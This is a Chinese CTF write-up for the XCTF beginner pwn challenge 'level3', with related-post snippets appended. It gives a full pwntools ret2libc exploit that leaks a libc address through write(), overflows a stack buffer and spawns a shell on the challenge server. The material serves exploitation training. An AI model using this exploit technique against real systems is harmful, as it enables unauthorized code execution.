攻防世界 新手區 level3

2021-10-04 17:54:21 字數 1403 閱讀 5431

分享一位師傅寫得,很詳細,對我們小白很有幫助

基本資訊

[*] '/home/ububtu/ctf/level3'

arch: i386-32-little

relro: partial relro

stack: no canary found

nx: nx enabled

pie: no pie (0x8048000)

32位,開啟nx保護

載入ida

main函式

vulnerable_function函式

程式**很少,在read()存在棧溢位

無system函式,無binsh字串,有read和write函式,利用ret2libc。

主要思路有以下幾點:

from pwn import *

p=remote('111.198.29.45',58174)

#p=process('./level3')

elf=elf("./level3")

writeplt=elf.plt["write"]

writegot=elf.got["write"]

func=elf.symbols["vulnerable_function"]

libc=elf("./libc_32.so.6")

writelibc=libc.symbols["write"]

syslibc=libc.symbols["system"]

binlibc=libc.search("/bin/sh").next()

payload1='a'*140+p32(writeplt)+p32(func)+p32(1)+p32(writegot)+p32(4)

p.recvline()

p.sendline(payload1)

addr=p.recv(4)

writeaddr=u32(addr)

sysaddr=writeaddr-writelibc+syslibc

binaddr=writeaddr-writelibc+binlibc

payload2='a'*140+p32(sysaddr)+p32(0xaaaa)+p32(binaddr)

p.recvuntil("input:\n")

p.sendline(payload2)

p.interactive()

pwn 練習6 攻防世界 level3

這個題做的蠻久的,老樣子,基本操作來一遍 通過ida分析後,沒有system函式,也沒有 bin sh這樣的字眼,但題目給了乙個動態庫,於是我們可以通過另乙個庫,來調出system bin sh 兩個呼叫的動態函式庫相同,所以write函式和system函式之間的位址差值是相同的,所以我們的目的是求...

攻防世界 新手區web

2020 11 1 用來記錄我的web之路 當乙個搜尋蜘蛛訪問乙個站點時,它會首先檢查該站點根目錄下是否存在robots.txt,如果存在,搜尋機械人就會按照該檔案中的內容來確定訪問的範圍 如果該檔案不存在,所有的搜尋蜘蛛將能夠訪問 上所有沒有被口令保護的頁面。暫時不太了解爬蟲技術 robots是一...

攻防世界pwn新手練習(level0)

老規矩哦,我們先checksec一下,收集一下資訊 唔,沒啥東西,繼續ida吧。emmm,主函式倒是挺簡單的,就一行列印,一行輸入 但 不知你們有公尺有發現有個很奇怪的函式名,我們悄悄的瞅一瞅 果然不對勁,首先它的名字中有個system 手動加粗 這個是什麼東西嘞,簡單的來說,它擁有系統的最高許可權...